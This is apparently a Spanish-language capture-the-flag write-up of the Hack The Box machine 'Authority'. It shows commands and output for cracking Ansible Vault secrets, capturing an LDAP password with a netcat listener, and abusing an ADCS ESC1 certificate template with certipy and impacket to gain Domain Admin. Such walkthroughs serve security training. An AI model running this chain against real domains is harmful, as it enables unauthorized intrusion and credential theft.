Descripción
Authority es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Recuperación de credenciales de usuario de PWM mediante la descifrado de playbooks de Ansible
- Recuperación de contraseña de usuario LDAP mediante la prueba de conexión usando la aplicación PWM a nuestro propio servidor
- Escalada de privilegios mediante la vulnerabilidad de la plantilla ESC1 de ADCS y comandos de consola LDAP
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.222.
$ ping -c 3 10.10.11.222
PING 10.10.11.222 (10.10.11.222) 56(84) bytes of data.
64 bytes from 10.10.11.222: icmp_seq=1 ttl=127 time=98.7 ms
64 bytes from 10.10.11.222: icmp_seq=2 ttl=127 time=80.6 ms
64 bytes from 10.10.11.222: icmp_seq=3 ttl=127 time=101 ms
--- 10.10.11.222 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 80.636/93.470/101.030/9.123 ms
La máquina está activa y con el TTL que iguala 127 (128 menos 1 salto), podemos asegurarnos que es una máquina Windows. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para verificar todos los puertos abiertos.
$ sudo nmap 10.10.11.222 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.222
Host is up (0.043s latency).
Not shown: 986 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
8443/tcp open https-alt
Nmap done: 1 IP address (1 host up) scanned in 227.64 seconds
Obtenemos muchos puertos abiertos, relacionados con un Controlador de Dominio Active Directory.
Enumeración
Luego hacemos un escaneo más avanzado, con versiones de los servicios y scripts.
$ nmap 10.10.11.222 -Pn -sV -sC -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,8443 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.222
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8443/tcp open ssl/http Apache Tomcat (language: en)
| ssl-cert: Subject: commonName=172.16.2.118
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
Service Info: Host: AUTHORITY; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.31 seconds
Obtenemos los servicios relacionados con un Active Directory, específicamente el Controlador de Dominio authority.htb. Añadimos el host a nuestro archivo local /etc/hosts.
$ echo "10.10.11.222 authority.htb" | sudo tee -a /etc/hosts
En el puerto 8443 encontramos la aplicación web PWM. Requiere credenciales para el inicio de sesión, pero encontramos que estamos en modo de configuración. No tenemos credenciales. Esta aplicación se utiliza para interactuar con las contraseñas del dominio utilizando LDAP.
Estamos en capacidad de enumerar las compartidas SMB con la cuenta Guest. Encontramos dos no estándar: Department Shares y Development.
$ netexec smb authority.htb -u 'Guest' -p '' --shares
SMB 10.10.11.222 445 AUTHORITY [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.222 445 AUTHORITY [+] authority.htb\Guest:
SMB 10.10.11.222 445 AUTHORITY [*] Enumerated shares
SMB 10.10.11.222 445 AUTHORITY Share Permissions Remark
SMB 10.10.11.222 445 AUTHORITY ----- ----------- ------
SMB 10.10.11.222 445 AUTHORITY ADMIN$ Remote Admin
SMB 10.10.11.222 445 AUTHORITY C$ Default share
SMB 10.10.11.222 445 AUTHORITY Department Shares
SMB 10.10.11.222 445 AUTHORITY Development READ
SMB 10.10.11.222 445 AUTHORITY IPC$ READ Remote IPC
SMB 10.10.11.222 445 AUTHORITY NETLOGON Logon server share
SMB 10.10.11.222 445 AUTHORITY SYSVOL Logon server share
No podemos acceder a Department Shares:
$ smbclient '//authority.htb/Department Shares' -U 'Guest%'
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
Para la compartida Development, podemos montarla y listarla.
$ smbclient '//authority.htb/Development' -U 'Guest%'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Mar 17 14:20:38 2023
.. D 0 Fri Mar 17 14:20:38 2023
Automation D 0 Fri Mar 17 14:20:40 2023
5888511 blocks of size 4096. 1353593 blocks available
$ mkdir mount
$ sudo mount -t cifs -o "username=Guest,password=" '//authority.htb/Development' ./mount
$ find mount
mount
mount/Automation
mount/Automation/Ansible
mount/Automation/Ansible/ADCS
mount/Automation/Ansible/ADCS/.ansible-lint
mount/Automation/Ansible/ADCS/.yamllint
mount/Automation/Ansible/ADCS/defaults
mount/Automation/Ansible/ADCS/defaults/main.yml
mount/Automation/Ansible/ADCS/LICENSE
mount/Automation/Ansible/ADCS/meta
mount/Automation/Ansible/ADCS/meta/main.yml
...
Encontramos archivos Ansible para ADCS (Active Directory Certificate Services), LDAP (Lightweight Directory Access Protocol), PWM (una aplicación de servicio de contraseña de código abierto para directorios LDAP) y SHARE (que podría ser las compartidas abiertas). Como vimos que la aplicación PWM está disponible, comprobemos sus archivos de configuración Ansible. Encontramos una contraseña cifrada en el archivo Automation/Ansible/PWM/defaults/main.yml.
$ cat mount/Automation/Ansible/PWM/defaults/main.yml
---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"
pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true
pwm_require_ssl: false
pwm_admin_login: !vault |
$ANSIBLE_VAULT;1.1;AES256...
pwm_admin_password: !vault |
$ANSIBLE_VAULT;1.1;AES256...
ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
$ANSIBLE_VAULT;1.1;AES256...
Necesitamos convertir estos hashes a un formato que John The Ripper entienda y luego intentar crackearlos. Para eso podemos usar la herramienta ansible2john. Cada línea del hash debe estar separada por un carácter de nueva línea (\n).
$ echo "\$ANSIBLE_VAULT;1.1;AES256\n32666534386435366537653136663731633138616264323230383566333966346662313161326239\n6134353663663462373265633832356663356239383039640a346431373431666433343434366139\n35653634376333666234613466396534343030656165396464323564373334616262613439343033\n6334326263326364380a653034313733326639323433626130343834663538326439636232306531\n3438" > ansible_hash1
$ echo "\$ANSIBLE_VAULT;1.1;AES256\n31356338343963323063373435363261323563393235633365356134616261666433393263373736\n3335616263326464633832376261306131303337653964350a363663623132353136346631396662\n38656432323830393339336231373637303535613636646561653637386634613862316638353530\n3930356637306461350a316466663037303037653761323565343338653934646533663365363035\n6531" > ansible_hash2
$ echo "\$ANSIBLE_VAULT;1.1;AES256\n63303831303534303266356462373731393561313363313038376166336536666232626461653630\n3437333035366235613437373733316635313530326639330a643034623530623439616136363563\n34646237336164356438383034623462323531316333623135383134656263663266653938333334\n3238343230333633350a646664396565633037333431626163306531336336326665316430613566\n3764" > ansible_hash3
$ ansible2john ansible_hash1 ansible_hash2 ansible_hash3 > ansible_hashes
Entonces comenzamos a crackear la contraseña.
$ john --wordlist=/usr/share/wordlists/rockyou.txt ansible_hashes
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (ansible, Ansible Vault [PBKDF2-SHA256 HMAC-256 256/256 AVX2 8x])
Cost 1 (iteration count) is 10000 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^&* (ansible_hash2)
!@#$%^&* (ansible_hash1)
!@#$%^&* (ansible_hash3)
3g 0:00:00:20 DONE 0.1497g/s 1993p/s 5981c/s 5981C/s 112500..prospect
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Para los tres hashes, la contraseña es !@#$%^&*. Ahora podemos descifrar los tres paquetes con la herramienta ansible-vault.
$ virtualenv .env
$ . .env/bin/activate
$ pip install ansible-vault
$ echo '!@#$%^&*' > vault_password
$ ansible-vault decrypt --vault-password-file=vault_password ansible_hash1
$ ansible-vault decrypt --vault-password-file=vault_password ansible_hash2
$ ansible-vault decrypt --vault-password-file=vault_password ansible_hash3
$ cat ansible_hash1
svc_pwm
$ cat ansible_hash2
pWm_@dm!N_!23
$ cat ansible_hash3
DevT3st@123
Hemos descifrado los campos almacenados dentro del Ansible vault, para pwm_admin_login encontramos svc_pwm, para pwm_admin_password encontramos pWm_@dm!N_!23 y para ldap_admin_password encontramos DevT3st@123.
Explotación
Podemos volver al sitio web de inicio de sesión de PWM e iniciar sesión con el segundo campo, la contraseña, en el Configuration Manager > Configuration Editor.
Encontramos una conexión LDAP configurada en el menú Default Settings > LDAP Directories > default > Connection.
Podemos crear una conexión de prueba usando el botón Test LDAP Profile, pero la conexión falla. Encontramos que la LDAP Proxy Password está almacenada, pero no podemos leerla. Podemos crear un servidor LDAP, introducir nuestra dirección LDAP en el campo LDAP URLs y luego capturar la contraseña LDAP. Como vamos a utilizar el protocolo LDAP no cifrado, podemos abrir un puerto TCP en escucha, modificar el campo y desencadenar la conexión de prueba.
$ nc -nvlp 1234
Recibimos una conexión desde el svc_ldap y la contraseña lDaP_1n_th3_cle4r!.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.222] 61959
0Y`T;CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb�lDaP_1n_th3_cle4r!
Como el puerto WinRM está abierto, vamos a intentar abrir una terminal utilizando la herramienta evil-winrm.
$ evil-winrm -i authority.htb -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'
...
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> whoami
htb\svc_ldap
Estamos conectados como el usuario svc_ldap.
Post-Explotación
Vimos anteriormente, en los playbooks de Ansible, una mención a ADCS. Vamos a utilizar la herramienta Certipy para comprobar vulnerabilidades en los modelos de certificados.
$ certipy-ad find -username svc_ldap@authority.htb -password 'lDaP_1n_th3_cle4r!' -vulnerable -stdout
...
Certificate Authorities
0
CA Name : AUTHORITY-CA
DNS Name : authority.authority.htb
Certificate Subject : CN=AUTHORITY-CA, DC=authority, DC=htb
Certificate Serial Number : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4
Certificate Validity Start : 2023-04-24 01:46:26+00:00
Certificate Validity End : 2123-04-24 01:56:25+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Unknown
Request Disposition : Unknown
Enforce Encryption for Requests : Unknown
Active Policy : Unknown
Disabled Extensions : Unknown
...
Certificate Templates
0
Template Name : CorpVPN
Display Name : Corp VPN
Certificate Authorities : AUTHORITY-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
...
Permissions
Enrollment Permissions
Enrollment Rights : AUTHORITY.HTB\Domain Computers
AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
...
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication.
Encontramos la vulnerabilidad ESC1 en la plantilla CorpVPN. Añadimos el host authority.authority.htb al archivo /etc/hosts.
$ echo "10.10.11.222 authority.authority.htb" | sudo tee -a /etc/hosts
ESC1 es la configuración típica de error en AD CS que puede llevar directamente a la escalada de privilegios. La vulnerabilidad surge cuando una plantilla de certificado no está adecuadamente protegida, permitiendo a un usuario de bajos privilegio solicitar un certificado e, importante, especificar una identidad arbitraria dentro del SAN del certificado. Esto permite al atacante suplantar a cualquier usuario, incluidos los administradores.
El usuario LDAP no tiene permisos para realizar esta operación, pero en la sección Enrollment Permissions encontramos que el Domain Computers tiene derechos de inscripción. Por lo tanto, registraremos una nueva máquina de dominio para explotar la vulnerabilidad.
$ impacket-addcomputer 'authority.htb/svc_ldap:lDaP_1n_th3_cle4r!'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account DESKTOP-ANHB3HRI$ with password IQYx2g4n92nboD8kMMMUo1zsFP0mUMA1.
Agregamos la cuenta de máquina DESKTOP-ANHB3HRI$ con la contraseña IQYx2g4n92nboD8kMMMUo1zsFP0mUMA1. Ahora solicitaremos un certificado al controlador de dominio con el campo SAN establecido en el usuario Administrator.
$ certipy-ad req \
-u 'DESKTOP-ANHB3HRI$@authority.htb' -p 'IQYx2g4n92nboD8kMMMUo1zsFP0mUMA1' \
-dc-ip '10.10.11.222' -target 'authority.htb' \
-ca 'AUTHORITY-CA' -template 'CorpVPN' \
-upn 'administrator@authority.htb'
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 2
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@authority.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Con el certificado generado, nos autenticamos como el administrador objetivo.
$ certipy-ad auth -dc-ip '10.10.11.222' -pfx 'administrator.pfx' -username 'administrator' -domain 'authority.htb' 130 ↵
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@authority.htb'
[*] Using principal: 'administrator@authority.htb'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information
Obtenemos el error KDC_ERR_PADATA_TYPE_NOSUPP ya que el Controlador de Dominio no soporta PKINIT. Podemos en su lugar abrir una terminal LDAP y agregar al usuario svc_ldap al grupo Domain Admins.
$ certipy-ad auth -dc-ip '10.10.11.222' -pfx 'administrator.pfx' -username 'administrator' -domain 'authority.htb' -ldap-shell 1 ↵
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@authority.htb'
[*] Connecting to 'ldaps://10.10.11.222:636'
[*] Authenticated to '10.10.11.222' as: 'u:HTB\\Administrator'
Type help for list of commands
# add_user_to_group svc_ldap 'Domain Admins'
Adding user: svc_ldap to group Domain Admins result: OK
Podemos volver ahora a la terminal evil-winrm y comprobar si la adición fue realizada correctamente.
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> net user svc_ldap
User name svc_ldap
...
Local Group Memberships *Remote Management Use
Global Group memberships *Domain Users *Domain Admins
Se ha realizado correctamente. Tenemos permisos completos sobre el dominio, pero deberíamos volver a iniciar sesión.
Flags
Como administrador de dominio, podemos recuperar los archivos user.txt y root.txt.
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> type C:\Users\svc_ldap\Desktop\user.txt
<REDACTED>
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> type C:\Users\Administrator\Desktop\root.txt
<REDACTED>